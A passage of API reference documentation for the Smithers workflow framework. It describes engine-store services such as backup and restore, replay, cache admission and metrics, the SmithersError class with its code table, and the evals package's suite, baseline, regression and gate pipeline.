| `RestoreAndFenceOptions<R, E>` | `RestoreOptions` plus `databaseLayer`                                                                                                                                                                              |
| `RestoredStore`                | `{ databaseFile, objectsDirectory, manifest }`                                                                                                                                                                     |
| `FencedRestoredStore`          | `RestoredStore` plus `fence: FenceSummary`                                                                                                                                                                         |
| `FenceSummary`                 | `{ clearedClaims, suspendedRuns }`                                                                                                                                                                                 |
| `BackupManifest`               | `{ formatVersion: 1, createdAtMs, database: { file, sha256, sizeBytes, migrations }, artifacts }`                                                                                                                  |
| `AppliedMigration`             | `{ migrationId, name }`                                                                                                                                                                                            |
| `ArtifactEntry`                | `{ digest, sizeBytes }`                                                                                                                                                                                            |
| `DisasterRecoveryError`        | `code` of `invalid_options`, `not_empty`, `invalid_manifest`, `missing_file`, `digest_mismatch`, `artifact_corruption`, `snapshot_incomplete`, `schema_mismatch`, `io`, or `sql`, plus the `method` that raised it |

The database is snapshotted with `VACUUM INTO`, a read transaction under WAL, so
live writers are never blocked. The artifact walk runs after it, because results
reference artifacts only after publication. With an `objectsDirectory` the whole
capture holds the cross-process artifact backup lease; without one no lease is
taken, and a frozen snapshot that references any artifact digest fails with
`snapshot_incomplete` instead of reporting success.

Host access arrives through Effect's `FileSystem` and `SqlClient` tags and
hashing through the injected `Crypto` service, so the module carries no platform
binding. The SQL dialect is SQLite; a non-SQLite backend fails with the `sql`
code rather than pretending to snapshot.

Full guide: [Back up and restore the store](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/guides/back-up-and-restore.md).

## Inconsistency

[src/Inconsistency.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/Inconsistency.ts)

The receiver for cache conflicts and corrupt evidence.

```ts
interface Service {
  readonly note: (event: CacheConflict) => Effect<InconsistencyVerdict, JournalError>
  readonly noteCorruption: (event: BlobCorruption) => Effect<InconsistencyVerdict, JournalError>
}
```

| Export          | Signature                                                            | Meaning                                                                                     |
| --------------- | -------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| `Inconsistency` | `Context.Service<Service>`                                           | Service tag.                                                                                |
| `make`          | `(options: MakeOptions) => Service`                                  | Journals every conflict under the run that attempted the write and returns a fixed verdict. |
| `makeNoop`      | `(overrides?: Partial<Service>) => Service`                          | Notes nothing and tolerates.                                                                |
| `layerNoop`     | `(overrides?: Partial<Service>) => Layer<Inconsistency>`             | Provides it.                                                                                |
| `layerStrict`   | `(owner: Ownership.OwnerId) => Layer<Inconsistency, never, Journal>` | Journals and fails. The default for engine wiring.                                          |
| `layerTolerant` | `(owner: Ownership.OwnerId) => Layer<Inconsistency, never, Journal>` | Journals and continues, preserving the first-recorded row.                                  |

| Type                   | Fields                                                                                                  |
| ---------------------- | ------------------------------------------------------------------------------------------------------- |
| `InconsistencyVerdict` | `"fail"` or `"tolerate"`                                                                                |
| `MakeOptions`          | `{ journal, verdict, owner }`. The owner is required: every composer of this receiver is a run's owner. |
| `CacheConflict`        | `{ key, existing, attempted }`                                                                          |
| `BlobCorruption`       | `{ runId, keyDigest, path, recordedDigest, measuredDigest, recordedRunId?, recordedEventSeq? }`         |

The record goes through the journal's durable channel, so a `tolerate` verdict
cannot silently drop its only record. For `noteCorruption`, `"fail"` fails the
dispatch and `"tolerate"` lets it fall back to a real execution, which
re-captures and heals the corrupt address.

## ReplayOnly

[src/ReplayOnly.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/ReplayOnly.ts)

An engine composed with this service replays recorded work and executes none.
`smthrs runs verify` drives a copy of a run's store with it to report which
recorded steps the current code would replay and which step it would execute
again.

```ts
interface Service {
  readonly observe: (dispatch: Dispatch) => Effect<void>
}
```

| Export         | Signature                                                  | Meaning                                                      |
| -------------- | ---------------------------------------------------------- | ------------------------------------------------------------ |
| `ReplayOnly`   | `Context.Service<Service>`                                 | Service tag, resolved when the engine is composed.           |
| `layer`        | `(observe: Service["observe"]) => Layer<ReplayOnly>`       | Provides it.                                                 |
| `WouldExecute` | `TaggedError<{ runId, stepKeyDigest, attempt, action }>`   | The defect a dispatch dies with instead of running a body.   |
| `Dispatch`     | `{ runId, stepKeyDigest, attempt, action, tier, outcome }` | `outcome` is `"replayed"`, `"resumes"` or `"would-execute"`. |

A dispatch served from a durable record, a recorded failure included, reports
`replayed`. The first dispatch that would run a body dies before its attempt
row, snapshot, boundary, or body: it reports `resumes` when it would re-enter a
recorded attempt that never finished, such as a step parked inside its body,
and `would-execute` when no record matches its key. The defect is never
retried, so the run settles `failed` instead of spinning in its retry policy.
Replays still write the journal rows a resume converges on, so drive a copy of
the store, never the original.

## OwnerIdentity

[src/OwnerIdentity.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/OwnerIdentity.ts)

Mints the `OwnerId` an incarnation fences its writes with.

| Export            | Signature                                               | Meaning                                                                                                                                                               |
| ----------------- | ------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `OwnerIdentity`   | `Context.Service<Service>`                              | Service tag.                                                                                                                                                          |
| `Service`         | `{ ownerId: (hostId: string) => Effect<OwnerId> }`      | The host supplies the incarnation; the caller supplies the host id.                                                                                                   |
| `make`            | `(service: Service) => Service`                         | Brands an implementation.                                                                                                                                             |
| `makeIncarnation` | `(pid: number \| undefined, crypto: Crypto) => Service` | The standard source over an explicitly supplied process id.                                                                                                           |
| `layer`           | `Layer<OwnerIdentity, never, Crypto>`                   | The platform default.                                                                                                                                                 |
| `layerWithoutPid` | `Layer<OwnerIdentity, never, Crypto>`                   | Draws the incarnation number from `Random` and never reads a process id. For a Worker or Durable Object, whose isolate may report one fixed pid to every incarnation. |
| `layerConstant`   | `(owner: OwnerId) => Layer<OwnerIdentity>`              | Pins the whole token.                                                                                                                                                 |

The process id is read off `globalThis` rather than through a bare `process`
reference, so the module carries no Node binding: a browser bundle sees
`undefined` and draws an incarnation number from `Random` instead. The read
happens at layer construction, so importing the module touches nothing. The
nonce is a UUIDv4 from the injected `Crypto` service.

## WakeBus

[src/WakeBus.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/WakeBus.ts)

Edge-triggered in-process wakes, with durable polling as the miss-tolerant
fallback.

| Export       | Signature                                          | Meaning                                     |
| ------------ | -------------------------------------------------- | ------------------------------------------- |
| `WakeBus`    | `Context.Service<Service>`                         | Service tag.                                |
| `Service`    | `{ wake, awaitWake, waiters }`                     | See below.                                  |
| `makeUnsafe` | `() => Service`                                    | Constructs a bus. Nothing is durable.       |
| `make`       | `Effect<Service>`                                  | The same, as an effect.                     |
| `layer`      | `Layer<WakeBus>`                                   | Provides a fresh bus.                       |
| `makeNoop`   | `(overrides?: Partial<Service>) => Service`        | Wakes are dropped and waiters park forever. |
| `layerNoop`  | `(overrides?: Partial<Service>) => Layer<WakeBus>` | Provides it.                                |

`wake(executionId)` resumes every waiter parked on that execution; with no
waiters the wake is dropped. `awaitWake(executionId)` parks until the next one,
and registration is removed when the waiting fiber is interrupted, so an
abandoned wait leaks nothing. The wait is keyed by execution id alone, because
execution ids are unique across flows. `waiters(executionId)` is observability
for tests and diagnostics, not a coordination primitive.

An engine composition resolves the bus optionally, so providing `layer` is how a
host shares one bus between the engine and its own wake sources. Cross-process
delivery stays store-driven.

## EngineStoreMetrics

[src/EngineStoreMetrics.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/EngineStoreMetrics.ts)

Metric handles and observation combinators for the engine hot paths. Exporters
remain host-owned.

| Export                                                                  | Kind                                                                                                                          |
| ----------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- |
| `ExitTag`                                                               | `"Success" \| "Failure" \| "Interrupt"`                                                                                       |
| `exitTag`                                                               | `<A, E>(exit: Exit<A, E>) => ExitTag`                                                                                         |
| `observe`                                                               | `(instruments: { timer, counter }) => <A, E, R>(effect: Effect<A, E, R>) => Effect<A, E, R>`                                  |
| `dispatches`, `dispatchDuration`, `dispatch`                            | counter, timer, and views keyed by `ExitTag`                                                                                  |
| `schedulerAdmissions`, `schedulerDispatchDuration`                      | counter and timer                                                                                                             |
| `schedulerNodes`, `node`                                                | counter and views keyed by `PlanScheduler.Outcome`                                                                            |
| `sandboxExecutions`, `sandboxExecutionDuration`, `sandboxExecution`     | counter, timer, and views keyed by `ExitTag`                                                                                  |
| `sandboxMaterializations`, `materializationDuration`, `materialization` | counter, timer, and views keyed by `ExitTag`                                                                                  |
| `materializationConflicts`                                              | counter                                                                                                                       |
| `storageUnavailable`                                                    | counter                                                                                                                       |
| `driveYields`                                                           | counter                                                                                                                       |
| `heldDrives`                                                            | counter                                                                                                                       |
| `replaySeeds`                                                           | counter                                                                                                                       |
| `boundarySettlements`, `boundarySettlement`                             | counter and views keyed by `Clean`, `Deviation`, `Violation`, `Refused`                                                       |
| `stepCacheDecisions`, `stepCacheDecision`                               | counter and views keyed by `VerifiedHit`, `Miss`, `UnverifiableEvidence`, `Unmeasurable`, `StaleReadSet`, `ReplayFailed`      |
| `claims`, `claim`                                                       | counter and views keyed by `Activated`, `Terminal`, `HeartbeatFresh`, `StealRefusedOwnerAlive`, `ClaimLost`, `ActivationLost` |

Outcome tags are rewritten as snake case attribute values, so `HeartbeatFresh`
is recorded as `heartbeat_fresh`. `observe` composes `Effect.trackDuration` with
an exit counter update and a span annotation, and propagates the instrumented
effect's exit byte-identically.

Full guide: [Observe engine metrics](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/guides/observe-engine-metrics.md).

## Migrations

[src/Migrations.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/Migrations.ts)

| Export  | Signature                     | Meaning                                                                                                                    |
| ------- | ----------------------------- | -------------------------------------------------------------------------------------------------------------------------- |
| `set`   | `MigrationSet`                | This package's own set, namespace `engine-store`, migration id block `3000`.                                               |
| `sets`  | `ReadonlyArray<MigrationSet>` | The complete durable engine schema in dependency order: journal, run store, step cache, this package, then the plan store. |
| `run`   | the migration effect          |                                                                                                                            |
| `layer` | `Layer`                       | Installs the complete schema before exposing the database to any durable service.                                          |

This package's own set creates deferred/clock state, selection beliefs, and the
`flows_plan_input_heads`, `flows_plan_input_generations`, and
`flows_plan_input_legacy_runs` recovery tables. The plan set's block (`4000`)
comes last. The database loader supports forward additions to an already
installed lower block, so migrations `3003` and `3004` also run on existing installations
whose global cursor reached `4003`; earlier holes remain refusals. See
[`@smthrs/database`](/docs/reference/api/database/) for how namespaced sets compose without
colliding.

## RunState

[src/RunState.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/RunState.ts)

The versioned state envelope stored in each run row.

| Export         | Shape                                                                                                      |
| -------------- | ---------------------------------------------------------------------------------------------------------- |
| `RunState`     | `{ version: 1, flowName, payload, parentExecutionId?, onParentExit?, maxRounds?, result?, cancellation? }` |
| `OnParentExit` | `"cancel"` or `"detach"`                                                                                   |

`ReleaseCause` is why a driver released a run it still owned, recorded as the
optional `cause` of its `interrupt-released` run decision:
`{ kind: "lease-lapsed", unconfirmedMs }` when the host went that long without
confirming its run lease, `{ kind: "yielded" }` when a hosted drive spent its
budget ([Drive budget](#drive-budget)), or `{ kind: "interrupted" }` for any
other non-cancel interruption, usually a host shutdown. `releaseCauseOf(decision)`
reads it and answers `undefined` for decisions recorded before the field
existed.

`parentExecutionId` is present only on a child run. `onParentExit` is recorded
at first admission, including independent runs that a later caller may join as
a child: the parent's terminal transition reads it to decide whether the child
ends with it. The policy is recorded on the child rather than on the edge,
because it is a property of how the child was started and because a child with
two parents must answer the question once. Missing policies on legacy rows
default to `"cancel"`. A later caller awaiting or ensuring the run does not
rewrite its recorded policy.

## Errors

[src/Errors.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/Errors.ts)

The stable error contract. Every `code` literal here is public API: consumers
may switch on `code` or `_tag`, and the strings will not change without a major
version.

| Export                                    | `code`                                                               | Fields                                                             |
| ----------------------------------------- | -------------------------------------------------------------------- | ------------------------------------------------------------------ |
| `AttemptSuspended`                        | `attempt_suspended`                                                  | `runId`, `keyDigest`, `attempt`                                    |
| `AttemptAdmissionRejected`                | `attempt_admission_rejected`                                         | `keyDigest`, `outcome`                                             |
| `AttemptEvidenceQuarantined`              | `attempt_evidence_quarantined`                                       | `keyDigest`, `attempt`, `path`, `recordedDigest`, `measuredDigest` |
| `CacheConflictDetected`                   | `cache_conflict_detected`                                            | `keyDigest`, `recordedRunId`                                       |
| `CacheCorruptionDetected`                 | `cache_corruption_detected`                                          | `keyDigest`, `path`, `recordedDigest`, `measuredDigest`            |
| `RetentionError`, `RetentionErrorCode`    | `scan_failed`, `delete_failed`                                       |                                                                    |
| `RunCatalogError`, `RunCatalogErrorCode`  | `invalid_options`, `invalid_cursor`, `source_changed`, `list_failed` | `cause` when a decode or store operation failed.                   |
| `IrreversibleRetryRequiresIdempotencyKey` | re-exported from [`@smthrs/flow`](/docs/reference/api/flow/)'s `Action`              |                                                                    |
| `FlowCycleDetected`                       | re-exported from [`@smthrs/flow`](/docs/reference/api/flow/)'s `FlowRuntime`         |                                                                    |

Each failure, with its cause and its fix, is in
[Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/troubleshooting.md).

## test/TestStores

[src/test/TestStores.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/test/TestStores.ts)

Every durable engine service over one database, migrated.

| Export              | Signature                                                       | Meaning                                                                                                                                            |
| ------------------- | --------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| `layer`             | `(options?: TestStoresOptions) => Layer<...>`                   | The private in-memory bundle: journal, run, attempt, cache, plan, and plan-input stores plus `OwnerIdentity.layer`, keeping `SqlClient` to itself. |
| `layerAt`           | `(filename: string, options?: TestStoresOptions) => Layer<...>` | The same over a named database, with the connection and `DurableEngineState` re-exported.                                                          |
| `database`          | `Layer`                                                         | The migrated in-memory database alone, as `SqlClient` and `DurableWriter`.                                                                         |
| `databaseAt`        | `(filename: string) => Layer`                                   | The same over a named file.                                                                                                                        |
| `TestStoresOptions` | `{ capacity?, overflow?, batchSize? }`                          | Forwarded to the journal.                                                                                                                          |

Use `layerAt` with a real file to point two independently constructed bundles at
one database: two connections, two engines, no shared object graph, which is
what a second process actually has. `:memory:` gives each connection its own
private database, so it cannot prove anything durable across compositions.

Full guide: [Test against a durable store](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/guides/testing.md).

## Cache admission

The engine admits a cache record only when the action is sealed, the boundary is
hard, no deviation occurred, and the evidence explicitly carries
`wholeTreeWritesVerified: true`. Older evidence and boundaries that observe
declared paths only are conservatively refused. Only a content-key record has an
address another run can reproduce; an ordinal-key record remains run-local.

A cache hit is verified before it is served: the store calls `prepare` and
compares the descriptor's declared `readSet` against the `readSnapshot` the host
measured. Reuse happens only when every declared read still matches. Reads the
host reports but the declaration never claimed are ignored, while a declared
path that is missing or has a different digest refuses the hit, journals a
`cache-provenance` record with `action: "stale_read_set"`, and falls through to a
real execution. That is Skyframe's dirty-check invariant: the key alone detects a
changed declaration, not a stale one.

A verified hit calls `replayOutputs` before returning the stored result. When
that refuses with `MissingArtifact`, the dispatch hydrates from the shared tier
and retries the replay exactly once before falling through to a real execution.
A replay refused for confinement (a symlink on a replayed path, or a host that
cannot be confined) journals `replay_failed` and executes the step for real;
it never writes through the link.

Replaying a succeeded attempt row also converges the cache: if a crash landed
between `attempts.finish` and `cache.put`, the restarted executor re-records the
sealed completion with fresh cache provenance. A divergent first-recorded row
surfaces through the [`Inconsistency`](#inconsistency) receiver, strict by
default.

A persisted `failed` attempt row replays by rethrowing the persisted domain
failure, never by readmission, so `AttemptAdmissionRejected` marks only
genuinely mid-flight rows. The `Fail` errors were schema-encoded before
persistence, so their `_tag` survives the JSON round trip and `RetryPolicy`
non-retryable matching applies on replay. The composition also implements the
engine's `actionLatestAttempt` and degrades `actionRetryOrigin` to the earliest
surviving attempt row when a retention job pruned attempt 1.

Full model: [Cache admission](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/concepts/cache-admission.md). See also
[Run durably over SQLite](/docs/tutorials/first-flow/#6-run-durably-over-sqlite)
and [Content addressing](/docs/concepts/content-addressing/).

## Durable failure warnings

If an unsuccessful irreversible action cannot append its `unknown` boundary
record, the engine logs at Warning with the append cause, `runId`, and the
action key as `step`. The action's original failure or interruption remains
the primary outcome. Reading a completed trampoline lineage whose terminal
flow is unregistered dies with `FlowEngine.FlowNotRegistered`, carrying the
missing `flowName`, so callers can classify the registration defect.

### External heartbeat receipts

The process driver dispatches `Interpreter.ExecutionOptions.onHeartbeat` after confirmed ownership pulses, including a successful lease reconfirmation. A callback receives its execution's `FlowInstance`; one bounded callback may run at a time, and a round's completion, suspension, cancellation or lease loss interrupts it. Callback failures log only `run heartbeat receipt failed` and the run id; `flows_engine_heartbeat_receipts` counts completed, skipped and failed dispatches. Remote delivery never blocks local lease renewal. Hosted rounds that do not renew periodic leases emit no receipts.

---

# @smthrs/errors
https://smithers.sh/docs/reference/api/errors/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/errors/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/errors/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/errors/docs)

`@smthrs/errors` exports eleven names from two modules. Both are importable
from the root entry point and from their own subpath:

```ts
import { SmithersError, smithersErrorDefinitions } from "@smthrs/errors"
// or
import { smithersErrorDefinitions } from "@smthrs/errors/ErrorCode"
import { SmithersError } from "@smthrs/errors/SmithersError"
```

`@smthrs/errors/package.json` is exported. `@smthrs/errors/internal/*` and
`@smthrs/errors/*/index` are not.

## Example

```ts
import { isSmithersError, SmithersError } from "@smthrs/errors"

try {
  throw new SmithersError("INVALID_INPUT", "maxLength must be between 1 and 4096.", { maxLength: 0 })
} catch (error) {
  if (!isSmithersError(error)) throw error
  console.log(error.code, error.summary, error.details)
}
```

## SmithersError

The error class the integration adapters raise, and the only class in the
package.

### class SmithersError

```vibe
error SmithersError {
  _tag: string
  message: string
  code: SmithersErrorCode
  summary: string
  docsUrl: string
  details?: Readonly<Record<string, unknown>>

  constructor(
    code: SmithersErrorCode,
    summary: string,
    details?: Record<string, unknown>,
    options?: SmithersErrorOptions
  )

  override toJSON(): Record<string, unknown>
}
```

An error declaration (VibeLang D278): the class extends Effect's
`Data.TaggedError`, and every field is readonly.

Constructor parameters:

| Parameter | Type                      | Meaning                                                                                               |
| --------- | ------------------------- | ----------------------------------------------------------------------------------------------------- |
| `code`    | `SmithersErrorCode`       | The machine-readable classification. Required, and closed by its type over the five documented codes. |
| `summary` | `string`                  | The message a person reads, without the documentation URL. Required.                                  |
| `details` | `Record<string, unknown>` | Caller-supplied context. Optional. Omitting it leaves the instance with no own `details` property.    |
| `options` | `SmithersErrorOptions`    | The cause and the documentation-URL switch. Optional.                                                 |

Fields:

| Field     | Type                                               | Meaning                                                                                                                                                          |
| --------- | -------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `code`    | `SmithersErrorCode`                                | The code the constructor received, unchanged.                                                                                                                    |
| `summary` | `string`                                           | The summary with every trailing `" See <docsUrl>"` removed, including copies separated by whitespace.                                                            |
| `docsUrl` | `string`                                           | Always `ERROR_REFERENCE_URL`.                                                                                                                                    |
| `details` | `Readonly<Record<string, unknown>>` or `undefined` | A frozen shallow copy of the record passed in, or absent as an own property when none was passed. Nested values are shared by reference and are not deep-frozen. |
| `_tag`    | `string`                                           | The Effect tag: the class's own name, `"SmithersError"` or a subclass's. An enumerable own property, as `Data.TaggedError` sets it.                              |
| `name`    | `string`                                           | The tag, from the class's prototype, as `Data.TaggedError` sets it.                                                                                              |
| `message` | `string`                                           | Inherited from `Error`: `summary` plus `" See <docsUrl>"`, unless `includeDocsUrl` is `false` or `summary` is blank.                                             |
| `cause`   | `unknown`                                          | Inherited from `Error`, and an own property only when `options.cause` is not `undefined`. Stored verbatim.                                                       |

Enumerable own properties are `code`, `summary`, `docsUrl`, `details` when
supplied, and `_tag`, in that order, then a subclass's own fields. `Object.keys` and `JSON.stringify` therefore show
those and nothing else. `util.inspect`, and so `console.log`, formats the
instance as an `Error`: the stack headed by `name` and `message`, the
enumerable fields, and a `[cause]` entry when a cause is supplied. Redact a
cause before attaching it.

`SmithersError` is an Effect tagged error: yielding an instance inside
`Effect.gen` fails the effect with it, and `Effect.catchTag` routes by `_tag`.
A subclass is an error declaration, `error IntegrationError extends
SmithersError`, tagged with its own name. Since a `SmithersError` may be any
subclass, its `_tag` is typed `string`: `catchTag("SmithersError")` handles
base instances and leaves `SmithersError` in the failure type, and a match by
class, `when SmithersError:`, handles the whole family.

### SmithersErrorOptions

```ts
interface SmithersErrorOptions {
  readonly cause?: unknown
  readonly includeDocsUrl?: boolean
}
```

| Field            | Default | Meaning                                                                                                                           |
| ---------------- | ------- | --------------------------------------------------------------------------------------------------------------------------------- |
| `cause`          | none    | Stored verbatim and not redacted. `undefined` is treated as no cause, so a subclass may always spell the key.                     |
| `includeDocsUrl` | `true`  | Set `false` to leave the documentation URL out of `message`. The suffix is still stripped from a summary that already carried it. |

### isSmithersError

```ts
const isSmithersError: (value: unknown) => value is SmithersError
```

Whether `value` is a `SmithersError`. Uses `instanceof` only, so it accepts
every subclass and rejects an `Error` whose `name` was set to
`"SmithersError"`. It does not detect an instance produced by a duplicate copy
of this package; `hasSmithersErrorShape` does.

### hasSmithersErrorShape

```ts
const hasSmithersErrorShape: (value: unknown) => value is SmithersError
```

Whether `value` has the structural fields of a `SmithersError`. Answers `true`
when all four hold:

1. `value instanceof Error`.
2. `isSmithersErrorCode(value.code)`, so the code is one of the five documented
   codes.
3. `value.summary` and `value.docsUrl` are both strings.
4. `value.details` is absent, or is a non-null object that is not an array.

Every inspection runs inside a `try`. A throwing property getter on any of the
four fields, or a proxy whose prototype lookup throws, answers `false` rather
than escaping the refinement, so classifying a hostile value cannot replace the
failure being handled.

Narrows `value.code` to `SmithersErrorCode`, so an exhaustive `switch` type
checks after the call. Use it for a value that crossed a module-instance
boundary. It cannot distinguish a correct instance from a deliberate forgery
that sets the same four fields.

## ErrorCode

The code table, the type derived from it, and the lookups over it.

### ERROR_REFERENCE_URL

```ts
const ERROR_REFERENCE_URL:
  "https://github.com/smithersai/smithers/blob/main/packages/errors/docs/reference/error-codes.md"
```

The documentation page every code points at, and the value of every instance's
`docsUrl`. The constructor appends `" See ${ERROR_REFERENCE_URL}"` to the
message.

### SmithersErrorCode

```ts
type SmithersErrorCode = keyof typeof smithersErrorDefinitions
```

A code carried by a `SmithersError`. Derived from the keys of
`smithersErrorDefinitions`, so the set is closed:
`"INVALID_INPUT" | "INTEGRATION_ERROR" | "TELEGRAM_API_ERROR" |
"TELEGRAM_INIT_DATA_INVALID" | "UNSUPPORTED"`.

### SmithersErrorDefinition

```ts
interface SmithersErrorDefinition {
  readonly when: string
  readonly details?: string
}
```

What a code means and when it is raised. `when` is the raising condition.
`details` describes the shape of the `details` record the raise sites attach,
and is absent for a code that attaches none. Both are prose for a human;
nothing validates a constructed error against them.

### smithersErrorDefinitions

```ts
const smithersErrorDefinitions: {
  readonly INVALID_INPUT: { readonly when: string; readonly details: string }
  readonly INTEGRATION_ERROR: { readonly when: string; readonly details: string }
  readonly TELEGRAM_API_ERROR: { readonly when: string; readonly details: string }
  readonly TELEGRAM_INIT_DATA_INVALID: { readonly when: string; readonly details: string }
  readonly UNSUPPORTED: { readonly when: string }
}
```

Every known code with the condition that raises it. This table is the runtime
source of truth: `SmithersErrorCode` and `smithersErrorCodes` are both derived
from its keys. The table and each definition inside it are frozen at module
load. The expanded form, with raise sites, is the
[Error code reference](https://github.com/smithersai/smithers/blob/main/packages/errors/docs/reference/error-codes.md).

### smithersErrorCodes

```ts
const smithersErrorCodes: ReadonlyArray<SmithersErrorCode>
```

Every documented code, in declaration order: `INVALID_INPUT`,
`INTEGRATION_ERROR`, `TELEGRAM_API_ERROR`, `TELEGRAM_INIT_DATA_INVALID`,
`UNSUPPORTED`. Frozen at module load.

### isSmithersErrorCode

```ts
const isSmithersErrorCode: (code: unknown) => code is SmithersErrorCode
```

Whether `code` is one this package documents. Answers from `Object.hasOwn`
against `smithersErrorDefinitions`, so it rejects a non-string, an empty
string, and every inherited property name, including `toString`,
`hasOwnProperty`, `constructor`, and `__proto__`.

### getSmithersErrorDefinition

```ts
const getSmithersErrorDefinition: (code: unknown) => SmithersErrorDefinition | undefined
```

The definition for `code`, or `undefined` when it is not a documented code.
Returns the frozen table entry itself, not a copy.

## Related

- [Error code reference](https://github.com/smithersai/smithers/blob/main/packages/errors/docs/reference/error-codes.md): every code with its raise
  sites and the caller's move.
- [The shape of a SmithersError](https://github.com/smithersai/smithers/blob/main/packages/errors/docs/concepts/error-shape.md): the guarantee
  behind each field.
- [`@smthrs/integrations`](/docs/reference/api/integrations/): the only consumer, and the source
  of the `IntegrationError` subclass.

---

# @smthrs/evals
https://smithers.sh/docs/reference/api/evals/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/evals/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/evals/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/evals/docs)

> **Related APIs:** [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/scorers`](/docs/reference/api/scorers/)

Fixed-suite evaluation, baselines, regression reports, and score gates for
flows.

For how to add the package to a project, see
[Installation](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/evals/docs/installation.md).

## The pipeline

One direction, six modules:

1. `Suite` declares the fixed cases and the scorer bindings that grade them.
2. `Runner` executes every case through an injected `CaseExecutor` and grades the
   executions, producing observations.
3. `Baseline` records what a run scored, as a committed artifact.
4. `Regression` compares the next run with that artifact.
5. `Report` renders the comparison as JSON or Markdown.
6. `Gate` turns the comparison into a verdict and a CI exit code.

```ts
import { Baseline, CaseExecutor, Gate, Regression, Runner, Suite } from "@smthrs/evals"
import { Binding, Scorer } from "@smthrs/scorers"
import { Effect, Layer } from "effect"
import { readFile } from "node:fs/promises"

const greet = { name: "greet" }

const polite = Scorer.make({
  id: "example/polite",
  version: "1",
  name: "polite",
  score: ({ output }) => Effect.succeed({ score: String(output).startsWith("Hello") ? 1 : 0 })
})

const executor = CaseExecutor.make((suiteCase) =>
  Effect.succeed({
    output: `Hello, ${(suiteCase.input as { readonly name: string }).name}`,
    stepKey: suiteCase.name,
    latencyMs: 0,
    target: greet
  })
)

const program = Effect.gen(function*() {
  const suite = yield* Suite.make({
    name: "smoke",
    cases: [{ name: "hello", input: { name: "Ada" } }],
    bindings: [Binding.make({ scorer: polite, appliesTo: greet })],
    concurrency: 1
  })
  const run = yield* Runner.run(suite, { runId: "nightly-2026-01-01", at: "2026-01-01T00:00:00.000Z" })
  const committed = yield* Baseline.load(
    yield* Effect.promise(() => readFile("baseline.json", "utf8"))
  )
  const comparison = yield* Regression.compare(committed, run)
  return Gate.ciGrade(yield* Gate.check(comparison, { mean: 0.9 }))
}).pipe(Effect.provide(Layer.succeed(CaseExecutor.CaseExecutor)(executor)))
```

`Runner.run` needs only `CaseExecutor`. Scoring runs in process by default;
provide `Runner.layerInline` to say so explicitly, `Runner.layerNoop` to state
that a suite must not score, or your own adapter through `options.scorer` or
the `Runner` service.

A run executes under the span `Eval.run` (attributes `suite` and `runId`), and
each case under a child span `Eval.case` (attribute `case`), so any tracer the
host provides shows which case a slow or failing run spent its time in.

## How comparison works

Four rules decide what a comparison reports, and none of them are obvious:

- **The step key decides which finding you get.** A score that dropped at a
  _changed_ step key is a `regression`: the target produced different work and it
  graded worse. A score that moved at an _unchanged_ step key is
  `nondeterminism`: the same work graded differently twice. A gate reads both as
  red.
- **`Observation.scorer` is a digest, not a name.** It is the scorer key, derived
  from the scorer's own `{ id, version, config }`, and it is what a baseline
  matches on. `Observation.scorerName` carries the readable name beside it, and a
  Markdown report prints `name (first 8 of the key)`, or the bare key for a
  scorer declared without a name. Report cells, gate summaries, and runner
  diagnostics all use that one label.
- **A binding matches its target by reference identity.** `binding.appliesTo` has
  to be the same flow value the execution reports as its `target`; a structurally
  equal copy grades nothing.
- **A baseline belongs to one suite.** Validated baselines and newly written
  artifacts require a top-level `suite`, even with no records. Every record
  requires its own `suite`. `Baseline.load` accepts a suite-less version-1
  artifact only when its nonempty records all name the same suite, then sets
  the top-level `suite` to that value. Empty or ambiguous legacy artifacts fail
  with `invalid_baseline` at `suite`. Comparison refuses an artifact or any
  record that names a suite other than the run's with `invalid_baseline`.

## Failure codes

`EvalError.code` is the stable branch point.

| Code                  | Raised when                                                                                                                                | Who fixes it              |
| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------- |
| `invalid_suite`       | The suite declaration is wrong: a name, a case, a concurrency, a fixture line, non-cloneable case data, or an undecidable sampling policy. | The suite author          |
| `invalid_run_options` | `Runner.run`'s own options are wrong: an empty `runId`, or an `at` that is not a canonical UTC instant.                                    | The caller                |
| `invalid_baseline`    | The committed baseline is unreadable, holds a record the schema rejects, or belongs to another suite.                                      | Regenerate the baseline   |
| `invalid_tolerance`   | A comparison tolerance is not a finite non-negative number.                                                                                | The caller                |
| `invalid_trials`      | A `Trials` run, pass, or `k` count is outside its bounds.                                                                                  | The caller                |
| `executor`            | The target flow failed for a case, or no executor was available.                                                                           | The target or the wiring  |
| `ambiguous_score_job` | Two jobs share a step key and scorer, so an order-only runner cannot attribute their results to cases.                                     | The suite or batch runner |
| `scorer_protocol`     | A batch runner returned the wrong number of observations, or observations identifying jobs other than the ones it was given.               | The batch runner          |
